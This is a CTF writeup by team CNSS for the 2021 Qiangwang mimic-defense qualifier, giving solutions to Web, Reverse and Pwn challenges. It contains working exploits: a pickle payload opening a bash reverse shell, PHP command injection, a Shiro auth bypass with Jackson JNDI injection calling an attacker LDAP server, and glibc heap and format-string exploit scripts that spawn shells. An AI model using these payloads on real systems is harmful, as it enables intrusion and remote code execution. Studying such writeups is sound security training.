拟态 2021 预选赛 Writeup - CNSS

第四届强网杯拟态挑战赛线上预选赛 Writeup By CNSS

Web

zerocalc

魔改过的 notevil 1.3.3

题目内提示了可以任意读文件

readFile('./src/index.js')

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
const express = require("express");
const path = require("path");
const fs = require("fs");
const notevil = require("./notevil"); // patched something...
const crypto = require("crypto");
const cookieSession = require("cookie-session");

const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.json());
app.use(cookieSession({
name: 'session',
keys: [Math.random().toString(16)],
}));

//flag in root directory but name is randomized

const utils = {
async md5(s) {
return new Promise((resolve, reject) => {
resolve(crypto.createHash("md5").update(s).digest("hex"));
});
},
async readFile(n) {
return new Promise((resolve, reject) => {
fs.readFile(n, (err, data) => {
if (err) {
reject(err);
} else {
resolve(data);
}
});
});
},
}

const template = fs.readFileSync("./static/index.html").toString();

function render(s) {
return template.replace("{{res}}", s.join('<br/>'));
}

app.use("/", async (req, res) => {
const e = req.body.e;
const his = req.session.his || [];
if (e) {
try {

const ret = (await notevil(e, utils)).toString();
his.unshift(`${e} = ${ret}`);
if (his.length > 10) {
his.pop();
}
} catch (error) {
console.log(error);
his.add(`${e} = wrong?`);
}
req.session.his = his;
}

res.send(render(his));
});

app.use((err, res) => {
console.log(err);
res.redirect('/');
});

app.listen(process.env.PORT || 8888);

再拿题目内的 notevil 和 GitHub 源码 对比,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ diff notevil/index.js test/node_modules/notevil/index.js
69,72d68
< function walk(node, traceNode) {
< return checkValue(_walk(node, traceNode))
< }
<
74c70
< function _walk(node, traceNode){
---
> function walk(node, traceNode){
390c386
< if (value === Function || value===blockContext['Function']){
---
> if (value === Function){
545c541
< }
\ No newline at end of file
---
> }

搞了半天发现,//flag in root directory but name is randomized 这句话没用

直接 readFile('/flag') 就出了

new_hospital

/feature.php?id= 页面底部有报错回显

猜测是这个逻辑

1
echo file_get_contents($id + '.js');

http 协议打一个 SSRF,用 # 或者 ? 过掉拼接的 .js

测试发现有 flag.php,但是读不到

除此之外,有 cookie 会用 base64 记录 file_get_contents 的参数

多次寻求未果之后扫目录,发现存在 /old

/old/feature.php 会使用 API 作为 file_get_contents 的参数

改掉 cookie 里的 API 就行了

1
2
3
file:///var/www/html/flag.php
>>>
API: ZmlsZTovLy92YXIvd3d3L2h0bWwvZmxhZy5waHA%3D

image

ezPickle

https://github.com/EddieIvan01/pker

1
2
3
4
5
notadmin = GLOBAL('config', 'notadmin')
notadmin['admin'] = 'yes'
backdoor = GLOBAL('config', 'backdoor')
backdoor(["__import__('os').system('bash -c \\'bash -i >& /dev/tcp/ip/port 0>&1\\'')"])
return

EasyFilter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
?action=w&c=<?php system('ls / -al;ls -al;cat /flag');?>
>>>
./files/a5dfb3f855


?action=r&r=convert.base64-decode/../a5dfb3f855
>>>
Warning: include(): unable to locate filter "resource=." in /var/www/html/index.php on line 16

Warning: include(): Unable to create filter (resource=.) in /var/www/html/index.php on line 16

Warning: include(): unable to locate filter "files" in /var/www/html/index.php on line 16

Warning: include(): Unable to create filter (files) in /var/www/html/index.php on line 16

Warning: include(): unable to locate filter ".." in /var/www/html/index.php on line 16

Warning: include(): Unable to create filter (..) in /var/www/html/index.php on line 16

Warning: include(): unable to locate filter "a5dfb3f855" in /var/www/html/index.php on line 16

Warning: include(): Unable to create filter (a5dfb3f855) in /var/www/html/index.php on line 16total 84
total 84
drwxr-xr-x 1 root root 4096 Oct 20 10:01 .
drwxr-xr-x 1 root root 4096 Oct 20 10:01 ..
-rwxr-xr-x 1 root root 0 Oct 20 10:01 .dockerenv
drwxr-xr-x 1 root root 4096 Dec 11 2020 bin
drwxr-xr-x 2 root root 4096 Nov 22 2020 boot
drwxr-xr-x 5 root root 340 Oct 20 10:01 dev
drwxr-xr-x 1 root root 4096 Oct 20 10:01 etc
-rw-r--r-- 1 root root 38 Oct 19 08:43 flag
drwxr-xr-x 2 root root 4096 Nov 22 2020 home
drwxr-xr-x 1 root root 4096 Dec 11 2020 lib
drwxr-xr-x 2 root root 4096 Dec 9 2020 lib64
drwxr-xr-x 2 root root 4096 Dec 9 2020 media
drwxr-xr-x 2 root root 4096 Dec 9 2020 mnt
drwxr-xr-x 2 root root 4096 Dec 9 2020 opt
dr-xr-xr-x 148 root root 0 Oct 20 10:01 proc
drwx------ 1 root root 4096 Dec 11 2020 root
drwxr-xr-x 1 root root 4096 Dec 11 2020 run
drwxr-xr-x 1 root root 4096 Dec 11 2020 sbin
drwxr-xr-x 2 root root 4096 Dec 9 2020 srv
dr-xr-xr-x 13 root root 0 Oct 20 10:01 sys
drwxrwxrwt 1 root root 4096 Oct 23 16:54 tmp
drwxr-xr-x 1 root root 4096 Dec 9 2020 usr
drwxr-xr-x 1 root root 4096 Dec 11 2020 var
total 76
drwxr-xr-x 1 www-data www-data 4096 Oct 23 13:47 .
drwxr-xr-x 1 root root 4096 Dec 11 2020 ..
drwxr-xr-x 2 www-data www-data 4096 Oct 23 13:47 .2337cd59adf2
-rw-r--r-- 1 www-data www-data 674 Oct 23 13:40 .24593ant_x64.so
drwxr-xr-x 2 www-data www-data 4096 Oct 23 13:46 .7f11de3c
-rw-r--r-- 1 www-data www-data 674 Oct 23 13:39 .84929ant_x64.so
-rw-r--r-- 1 www-data www-data 674 Oct 23 13:40 .96663ant_x64.so
drwxr-xr-x 2 www-data www-data 4096 Oct 23 13:46 .a9d42722
-rw-r--r-- 1 www-data www-data 1754 Oct 23 13:40 .antproxy.php
drwxr-xr-x 2 www-data www-data 4096 Oct 23 13:47 .c4c38
drwxrwxrwx 1 root root 20480 Oct 24 08:00 files
-rw-r--r-- 1 www-data www-data 286 Oct 23 13:40 gconv-modules
-rw-r--r-- 1 root root 512 Sep 29 08:48 index.php
flag{Cuw5RV9SvBUJR1ACBgLBm83p2VZe7lRG}

看报错猜逻辑

原因可能是 resouce=. 这里,php 在解释的时候先尝试让 filter/ 后作为过滤器应用

发现都没法作为过滤器应用,最后再尝试读取 resource 后的作路径

所以读取的时候可以拼接一个过滤器

Jack-Shiro

Shiro 的鉴权洞 CVE-2020-11989

1
http://123.60.26.60:32766/;/json

下一步推测有 Jackson 的 json 反序列化洞,

找到 Jackson-2653,没有 CVE 编号

POC

1
["org.apache.shiro.jndi.JndiObjectFactory",{"resourceName":"ldap://<ip>:<port>/Exploit"}]

打个 JNDI 注入,https://xz.aliyun.com/t/6633 可以参考这个起 rmi、ldap 服务

直接用工具方便一点,https://github.com/feihong-cs/JNDIExploit

在VPS上面跑

1
docker run -it -p 60002:60002 -p 60003:60003 -v /home/casio/JNDIExploit/:/JNDIExploit openjdk:8u181-jdk
1
java -jar JNDIExploit.jar -i 127.0.0.1 -l 60002 -p 60003
1
nc -lvvp 60008

EXP

1
["org.apache.shiro.jndi.JndiObjectFactory",{"resourceName":"ldap://<ip>:60002/Deserialization/CommonsBeanutils1/ReverseShell/<ip>/60008"}]

Give_me_your_0day

未解出

Reverse

fastjs

修改 QuickJS 源码

添加宏定义 #define DUMP_BYTECODE (1)

JS_ReadFunctionTag 函数中添加 js_dump_function_bytecode(ctx, b);

提取 fastjs 中的字节码重新编译得到可读的 opcode

通过符号可以找到用于加密的源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
function long2str(v, w) {
var vl = v.length;
var sl = v[vl - 1] & 0xffffffff;
for (var i = 0; i < vl; i++)
{
v[i] = String.fromCharCode(v[i] & 0xff,
v[i] >>> 8 & 0xff,
v[i] >>> 16 & 0xff,
v[i] >>> 24 & 0xff);
}
if (w) {
return v.join('').substring(0, sl);
}
else {
return v.join('');
}
}

function str2long(s, w) {
var len = s.length;
var v = [];
for (var i = 0; i < len; i += 4)
{
v[i >> 2] = s.charCodeAt(i)
| s.charCodeAt(i + 1) << 8
| s.charCodeAt(i + 2) << 16
| s.charCodeAt(i + 3) << 24;
}
if (w) {
v[v.length] = len;
}
return v;
}

function xxtea_encrypt(str, key) {
if (str == "") {
return "";
}
var v = str2long(str, true);
var k = str2long(key, false);
var n = v.length - 1;

var z = v[n], y = v[0], delta = 0x9E3779B9;
var mx, e, q = Math.floor(6 + 52 / (n + 1)), sum = 0;
while (q-- > 0) {
sum = sum + delta & 0xffffffff;
e = sum >>> 2 & 3;
for (var p = 0; p < n; p++) {
y = v[p + 1];
mx = (z >>> 5 ^ y << 2) + (y >>> 3 ^ z << 4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z);
z = v[p] = v[p] + mx & 0xffffffff;
}
y = v[0];
mx = (z >>> 5 ^ y << 2) + (y >>> 3 ^ z << 4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z);
z = v[n] = v[n] + mx & 0xffffffff;
}

return str2Hex(long2str(v, false));
}

function xxtea_decrypt(str, key) {
if (str == "") {
return "";
}

str=hex2str(str);
var v = str2long(str, false);
var k = str2long(key, false);
var n = v.length - 1;

var z = v[n - 1], y = v[0], delta = 0x9E3779B9;
var mx, e, q = Math.floor(6 + 52 / (n + 1)), sum = q * delta & 0xffffffff;
while (sum != 0) {
e = sum >>> 2 & 3;
for (var p = n; p > 0; p--) {
z = v[p - 1];
mx = (z >>> 5 ^ y << 2) + (y >>> 3 ^ z << 4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z);
y = v[p] = v[p] - mx & 0xffffffff;
}
z = v[n];
mx = (z >>> 5 ^ y << 2) + (y >>> 3 ^ z << 4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z);
y = v[0] = v[0] - mx & 0xffffffff;
sum = sum - delta & 0xffffffff;
}

return long2str(v, true);
}

function str2Hex(input) {
var output = "";
var chr1 = "";
var i = 0;
do {
chr1 = input.charCodeAt(i++).toString(16);
if(chr1.length==1)chr1="0"+chr1;
output+=chr1;
} while (i < input.length);
return output;
}

function hex2str(input) {
var output="";
var i=0;
while(i<input.length){
var k = parseInt(input.substr(i,1),16)<<4 | parseInt(input.substr(++i,1),16);
k=k&255;
output+=String.fromCharCode(k);
++i;
}
return output;
}

//base64_encodeAndDecode
function Base64() {
}
Base64._keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
Base64.encode64 = function (input) {
var output = "";
var chr1, chr2, chr3 = "";
var enc1, enc2, enc3, enc4 = "";
var i = 0;
do {
chr1 = input.charCodeAt(i++);
chr2 = input.charCodeAt(i++);
chr3 = input.charCodeAt(i++);
enc1 = chr1 >> 2;
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
enc4 = chr3 & 63;
if (isNaN(chr2)) {
enc3 = enc4 = 64;
} else if (isNaN(chr3)) {
enc4 = 64;
}
output = output +
Base64._keyStr.charAt(enc1) +
Base64._keyStr.charAt(enc2) +
Base64._keyStr.charAt(enc3) +
Base64._keyStr.charAt(enc4);
chr1 = chr2 = chr3 = "";
enc1 = enc2 = enc3 = enc4 = "";
} while (i < input.length);
return output;
}

Base64.decode64 = function (input) {
var output = "";
var chr1, chr2, chr3 = "";
var enc1, enc2, enc3, enc4 = "";
var i = 0;
var base64test = /[^A-Za-z0-9\\+\\/\\=\\n]/g;
if (base64test.exec(input)) {
return "error";
}
input = input.replace(/[^A-Za-z0-9\\+\\/\\=]/g, "");
do {
enc1 = Base64._keyStr.indexOf(input.charAt(i++));
enc2 = Base64._keyStr.indexOf(input.charAt(i++));
enc3 = Base64._keyStr.indexOf(input.charAt(i++));
enc4 = Base64._keyStr.indexOf(input.charAt(i++));
chr1 = (enc1 << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;
output = output + String.fromCharCode(chr1);
if (enc3 != 64) {
output = output + String.fromCharCode(chr2);
}
if (enc4 != 64) {
output = output + String.fromCharCode(chr3);
}
chr1 = chr2 = chr3 = "";
enc1 = enc2 = enc3 = enc4 = "";
} while (i < input.length);
return output;
}

执行下面的命令得到 flag

1
2
Base64.decode64(xxtea_decrypt("05aed0ce441f80b5bc36af4c698509fc6cc3c97146353de5a95c6abea07fd4a7070932d86ac32d628672a59123e5972331db5dffe7057362","no_thing_is_true"))
'flag{fc5e038d38a57032085441e7fe7010b0}'

marmgic

程序实现了一个类似于魔方的变形

根据校验的表达式,可以在54块中选5个进行组合

从而求出每个面的边角以及中心的块

由于变形过程中魔方边角的三个块具有固定的相对位置

所以可以推断出每个块在面上的具体位置

最后枚举每个面上剩余四个块的排列即可得到答案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#include <cstdio>
#include <algorithm>
#include <cstring>
using namespace std;
unsigned int p[]={
0x472ECBDF, 0x20DB1A28, 0xA8FD9C14, 0x2A5800F0, 0xE1B8C757,
0x5AA73EE9, 0xEF262FE2, 0x2341E61E, 0x4F8B4C24,
0xC5919DF, 0x10271DCA, 0xBE0AABA8, 0xF3001CAD, 0x3D9BFB3D,
0xBCEC5E4D, 0x10D780AC, 0x9537CA60, 0x9F024F5D,
0xD22BC207, 0x4000F0AC, 0x24C4BA66, 0x8523EA8A, 0x66D95F75,
0x988ADF8A, 0x76F57D90, 0x42BA7FCF, 0x22FF7C2F,
0x3A661CBD, 0x5578F063, 0x76D83FC5, 0x699EA4A7, 0xCA324955,
0xC6A8998D, 0xFA2A09D2, 0x158673D9, 0x66CE0371,
0xB8F2D37F, 0x19794181, 0x993737EE, 0x749C7985, 0x5A9734C3,
0xEA59355A, 0xC73E3987, 0x22EB465B, 0x8B50A4CF,
0x2FA4B4E6, 0x3AA763C7, 0x67057097, 0x155D753, 0x423159C0,
0x9F54FA00, 0x8AAAFCD, 0xE468BB71, 0x4CCCFB83};
unsigned int c[]={
0x99C57520, 0x177E3A5A, 0x717D831F, 0x69A5977F, 0x8CAF8A2D,
0x23B374E2, 0x8062C165, 0xEFE98B3F, 0x6CE0568A, 0xAAB6B3F,
0x45057390, 0x2EA6430};
unsigned int q[]={
0x81BFE181, 0x544F470A, 0x728880C0, 0xD613137B, 0x86970C9F,
0xE1000000, 0x9CA8076B, 0xDA10007D, 0x3062EB2, 0x32C600E7,
0x588001F3, 0x24224983, 0x3C804776, 0xA07004E0, 0xC079035,
0xCCA4D614, 0x4780C084, 0x537A407F, 0x2A20833, 0x37FFFEED,
0x83220421, 0x2B8A0884, 0xF1719016, 0x552BC509, 0xCB104A8D,
0xBD4B0696, 0x47B945F8, 0x58D1FFFF, 0x5B7F0D80, 0xEC3A938F,
0xCCBAB640, 0x3EA60422, 0x3F80589B, 0x436C57F8, 0xA2A000C0,
0x2E86F33C, 0x79C1E7FF, 0x3092311F, 0x379526BD, 0xA776EEFC,
0xFCA2C92C, 0x20000000, 0x2FD60000, 0xE2B81F5A, 0x476EE8A2,
0x7E1F777C, 0x81550ED6, 0x61D70225, 0x10602644, 0x5CD4A40,
0xC0120000, 0xF8214B14, 0x77000000, 0x5953BBF0};
unsigned int side1[30],side2[30],reg[6],ans[12][5];
void init(){
for (int i=0;i<6;i++){
side1[i*5+0]=i*9+0,side1[i*5+1]=i*9+2,side1[i*5+2]=i*9+6,side1[i*5+3]=i*9+8,side1[i*5+4]=i*9+4;
side2[i*5+0]=i*9+1,side2[i*5+1]=i*9+3,side2[i*5+2]=i*9+5,side2[i*5+3]=i*9+7,side2[i*5+4]=i*9+4;
}
}
void find(int begin,int dep,int v,unsigned int *side,int now){
if (dep==0){
int sum=0;
for (int i=5;i>=1;i--) sum+=p[side[reg[i]]];
if (sum==v){
for (int i=5;i>=1;i--){
printf("%d(%d,%d)\\t",side[reg[i]],6-side[reg[i]]/9,side[reg[i]]%9);
ans[now][i-1]=side[reg[i]];
}
printf("\\n");
}
return;
}
for (int i=begin;i<30;i++){
reg[dep]=i;
find(i+1,dep-1,v,side,now);
}
}
void check1(){ // X
for (int i=0;i<6;i++){
printf("X %d : ",i+1);
find(0,5,c[i*2],side1,i);
}
}
void check2(){ // X
for (int i=0;i<6;i++){
printf("+ %d : ",i+1);
find(0,5,c[i*2+1],side2,6+i);
}
}
int buf[][9]={
{13,27,35,44,45,21,32,37,39},
{4,26,36,47,53,19,41,43,46},
{11,18,38,51,1,3,5,7,40},
{6,15,24,42,14,23,25,34,49},
{10,12,48,50,0,2,17,22,29},
{8,9,20,33,31,16,28,30,52}
};
int con[][10]={
{3,8,1,0,5,4,2,8,3,0},
{4,8,2,0,6,4,1,2,1,8},
{4,0,1,6,2,4,2,2,5,2},
{5,6,4,6,1,4,2,6,6,6},
{5,8,6,2,4,4,6,0,3,2},
{4,2,5,0,3,4,6,8,3,6}
};
int main(){
init();
check1();
check2();
for (int j=0;j<6;j++){
sort(buf[j],buf[j]+9);
do{
unsigned int sum=0;
for (int i=0;i<9;i++)
sum+=p[buf[j][i]]*q[(5-j)*9+i];
unsigned char *w=(unsigned char *)&sum;
if (buf[j][0]==(6-con[j][0])*9+con[j][1])
if (buf[j][2]==(6-con[j][2])*9+con[j][3])
if (buf[j][4]==(6-con[j][4])*9+con[j][5])
if (buf[j][6]==(6-con[j][6])*9+con[j][7])
if (buf[j][8]==(6-con[j][8])*9+con[j][9])
if (w[0]<=128&&w[1]<=128&&w[2]<=128&&w[3]<=128)
printf("%c%c%c%c\\n",w[0],w[1],w[2],w[3]);
}while(next_permutation(buf[j],buf[j]+9));
}
}

loop

TCP 读取从 @ 开始到 ! 结束的节点序列

程序会对路径上所有的有向边权值进行求和

每一次循环时首先会从 TCP 读取之前的求和结果以及节点序列

随后将当前有向边的权值累加到求和结果中

再将新的求和结果以及剩余的节点序列的写入到 TCP

等待下一次循环继续处理

最终求和结果不大于 0xD47C5 时会返回 Right

DWORD GRAPH_TABLE[128][128] 是有向边权值表

设置起点和终点分别是 @!,直接 DFS 搜索即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <cstdio>
#include "table.h"
int ans[128];
unsigned int *f=(unsigned int *)graph;
void dfs(int x,int fa,int sum,int dep){
ans[dep]=x;
if (sum>0xD47C5) return;
if (x=='!'){
printf("flag{");
for (int i=0;i<=dep;i++){
printf("%c",ans[i]);
}
printf("}\\n");
return;
}
for (int i=32;i<128;i++){
if (i!=fa){
dfs(i,x,sum+f[x*128+i],dep+1);
}
}
return;
}
int main(){
dfs('@',-1,0,0);
}

show_your_flag

未解出

Pwn

bitflip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
def add(idx, size):
sendla("choice", "1")
sendla("Index", str(idx))
sendla("Size", str(size))

def edit(idx, cont):
sendla("choice", "2")
sendla("Index", str(idx))
senda("Content", cont)

def show(idx):
sendla("choice", "3")
sendla("Index", str(idx))

def delete(idx):
sendla("choice", "4")
sendla("Index", str(idx))

def magic(idx):
sendla("choice", str(0x666))
sendla("Addr", str(idx))


def exp():
# [1] leak
add(0, 0x38)
add(1, 0x38)
delete(0)
delete(1)
add(0, 0x38)
show(0)
recvu("Content: ")
a_heap = u64(recvn(6)+b"\x00\x00")-0x260
log.success(hex(a_heap))
delete(0)

for i in range(2, 0x18):
add(i, 0x48)
magic(a_heap+0x2a1)
add(0x19, 0x38)
add(0x1a, 0x38)
edit(0x1a, b"A"*0x18+p64(0x461)+b"\n")
delete(4)
add(0x1b, 0x18)
show(0x1b)
recvu("Content: ")
a_libc = u64(recvn(6)+b"\x00\x00")-0x3ec0a0
from mypwn import libc
libc.address = a_libc
print(hex(a_libc))

# [2] hijack
add(0x1c, 0x48)
delete(0x18)
delete(5)
edit(0x1c, b"A"*0x28+p64(0x51)+p64(libc.symbols["__free_hook"])+b"\n")
add(0x1d, 0x48)
add(0x1f, 0x48)
edit(0x1f, p64(libc.symbols["system"])+b"\n")
edit(0x1d, b"/bin/sh\x00\n")
delete(0x1d)
getshell()

old_school

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
def add(idx, size):
sendla("choice", "1")
sendla("Index", str(idx))
sendla("Size", str(size))

def edit(idx, cont):
sendla("choice", "2")
sendla("Index", str(idx))
senda("Content", cont)

def show(idx):
sendla("choice", "3")
sendla("Index", str(idx))

def delete(idx):
sendla("choice", "4")
sendla("Index", str(idx))

def exp():
# [1] leak
for i in range(9):
add(i, 0xe8)
add(9, 0x10)
add(10, 0x10)
for i in range(9):
delete(i)
add(0, 0xf8)
show(0)
recvu("Content: ")
a_libc = u64(recvn(6)+b"\x00\x00")-0x3ebe70
from mypwn import libc
libc.address = a_libc
print(hex(a_libc))

# [2] hijack
add(1, 0xb8)
edit(1, b"A"*0xb8+b"\x41")
add(2, 0x30)
delete(10)
delete(9)
edit(2, b"A"*0x18+p64(0x20)+p64(libc.symbols["__free_hook"])+b"\n")
add(3, 0x10)
add(4, 0x10)
edit(4, p64(libc.symbols["system"])+b"\n")
edit(3, b"/bin/sh\x00\n")
delete(3)
getshell()

old_school_revenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
def add(idx, size):
sendla("choice", "1")
sendla("Index", str(idx))
sendla("Size", str(size))

def edit(idx, cont):
sendla("choice", "2")
sendla("Index", str(idx))
senda("Content", cont)

def show(idx):
sendla("choice", "3")
sendla("Index", str(idx))

def delete(idx):
sendla("choice", "4")
sendla("Index", str(idx))

def exp():
# [1] leak
for i in range(9):
add(i, 0xe8)
edit(i, chr(i)*0xe7+"\n")
add(0xf, 0x18)
for i in range(9):
delete(i)
add(0, 0xf8)
show(0)
recvu("Content: ")
a_libc = u64(recvn(6)+b"\x00\x00")-0x3ebe70
from mypwn import libc
libc.address = a_libc
print(hex(a_libc))

# [2] hijack
add(0x10, 0x100)
edit(0x10, 0xf0*b"A"+p64(0x100)+p64(0x11))
edit(0xf, b"A"*0x10+p64(0x100)+b"\n")
for i in range(8):
add(0x15+i, 0xf0)
for i in range(8):
delete(0x15+i)
delete(0x10)
add(0x10, 0x10)
delete(0x10)
delete(0xf)
add(0x10, 0xb0)
add(0x11, 0xb0)
edit(0x11, p64(libc.symbols["__free_hook"])+b"\n")
add(3, 0x10)
add(4, 0x10)
edit(4, p64(libc.symbols["system"])+b"\n")
edit(3, b"/bin/sh\x00\n")
delete(3)
#debug()
getshell()

oldecho

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
def exp():
recvu("Gift: ")
a_stack = int(recvu("\n"), 16)
a_ret = a_stack - 0x10
log.success(hex(a_stack))
if ((a_stack&0xffff)-0x120) > 0x1000:
raise EOFError
BYTE = lambda x:((a_stack)&0xff)+x
WORD = lambda x:((a_stack)&0xffff)+x

if setting["remote"]:
# try_idx = int(input())
# try_idx = randint(14, 40)
try_idx = 15
debug("bb 0xdbd\nc")
sendl("%{}d%6$hn".format(WORD(8*(try_idx-9))))

sendl("%{}d%10$hn".format(WORD(-0x128)))
sendl("%{}d%{}$hn".format(0x0dc5, try_idx))

sendl("%{}d%10$hn".format(WORD(-0x18)))
sendl("%{}d%{}$hn".format(WORD(-0x130), try_idx))

sendl("%{}d%10$hn".format(WORD(-0x10)))
# debug("bb 0xe3e\nc")
sendl("%{}d%{}$hhn".format(0x3e, try_idx))

# what
a_stack-=0x148
sendl("%{}d%19$hn".format(WORD(0xa0)))
sendl("%{}d%20$hhn".format(0x90))
sendl("AA%26$hhn")

recvu("AA")
sendl("%26$p")
a_libc = int(recv(), 16)-0x3c5690
from mypwn import libc
libc.address = a_libc
log.success(hex(a_libc))
sendl("%7$p")
a_elf = int(recv(), 16)-0xe1e
log.success(hex(a_elf))

gadget = lambda x:(libc.address + x)
pdi_r = gadget(0x0000000000021112) #
psi_r = gadget(0x00000000000202f8) #
pdx_r = gadget(0x0000000000001b92) #
a_fake_stack = a_elf+0x202040+0x20
a_filename = a_fake_stack + 0xb0
a_flag = a_fake_stack - 0x20

orw_stack = \
p64(pdi_r) + p64(a_filename) + \
p64(psi_r) + p64(0) + \
p64(pdx_r) + p64(0) + \
p64(libc.symbols["open"]) + p64(pdi_r) + \
p64(1) + p64(psi_r) + \
p64(a_flag) + p64(pdx_r) + \
p64(100) + p64(libc.symbols["read"]) + \
p64(pdi_r) + p64(2) + \
p64(psi_r) + p64(a_flag) + \
p64(pdx_r) + p64(100) + \
p64(libc.symbols["write"]) + p64(0) + \
b"flag\x00"

print(len(orw_stack))
if b"\x0a" in orw_stack:
raise EOFError
sendl(b"A"*0x20+orw_stack)

target = a_fake_stack-0x8
for i in range(8):
sendl("%{}d%19$hn".format(WORD(i)))
n = (target>>(8*i))&0xff
if n < 0x20:
sendl("A"*n+"%20$hhn")
else:
sendl("%{}d%20$hhn".format(n))

# debug("bb 0xe3e\nc")
print("Ready!")
input()
sendl("Bye~\x00")

getshell()

while 1:
io = start_program()
try:
exp()
break
except EOFError:
stop_program()

random_heap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
def add(idx, size):
sendla("choice", "1")
sendla("Index", str(idx))
sendla("Size", str(size))

def edit(idx, cont):
sendla("choice", "2")
sendla("Index", str(idx))
senda("Content", cont)

def show(idx):
sendla("choice", "3")
sendla("Index", str(idx))

def delete(idx):
sendla("choice", "4")
sendla("Index: ", str(idx))

def exp():
# [1] leak
add(1, 0x100)
add(2, 0x100)
for _ in range(7):
delete(1)
edit(1, "A"*0x10)
delete(1)
show(1)
recvu("Content: ")
a_libc = u64(recvn(6)+b"\x00\x00")-0x3ebca0
from mypwn import libc
libc.address = a_libc
print(hex(a_libc))

for i in range(3, 3+0x8):
add(i, 0x80)
delete(i)
edit(i, p64(libc.symbols["__free_hook"])+p64(0))
delete(i)
edit(i, p64(libc.symbols["__free_hook"])+p64(0))

for i in range(3+0x10, 3+0x18):
add(i, 0x80)
for i in range(3+0x20, 3+0x28):
add(i, 0x80)
edit(i, p64(libc.symbols["system"]))
edit(4, "/bin/sh\x00")
delete(4)
# debug()

getshell()

for _ in range(0x10*0x10):
try:
start_program()
exp()
except Exception:
stop_program()

bornote

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
def add(size):
sendla("cmd", "1")
sendla("Size", str(size))

def delete(idx):
sendla("cmd", "2")
sendla("Index", str(idx))

def edit(idx, cont):
sendla("cmd", "3")
sendla("Index", str(idx))
sendla("Note", cont)

def show(idx):
sendla("cmd", "4")
sendla("Index", str(idx))

def exit(idx):
sendla("cmd", "5")

def exp():
sendla("name", "k1r0a")

# Leak
add(0x500)
add(0x500)
delete(0)
add(0x500)
show(0)
recvu("Note: ")
a_libc = u64(recvn(6)+b"\x00\x00") - 0x1ebbe0
print(hex(a_libc))
delete(0)
delete(1)

add(0x10)
add(0x10)
delete(0)
delete(1)
add(0x10)
show(0)
recvu("Note: ")
a_heap = u64(recvn(6)+b"\x00\x00")+0x30
print(hex(a_heap))
delete(0)

# Hijack
from mypwn import libc
libc.address = a_libc
add(0x228) #0
add(0x28) #1 0x30
add(0x518) #2
add(0x28) #3
edit(0, p64(0)+p64(0x251)+p64(a_heap+0x20)+p64(a_heap+0x20)+\
p64(a_heap+0x10)+p64(a_heap+0x10))
edit(1, b"A"*0x20+p64(0x250)) # off by null
edit(2, b"A"*0x4f8+p64(0x21))
delete(3)
delete(1)
delete(2)
add(0x228) #1
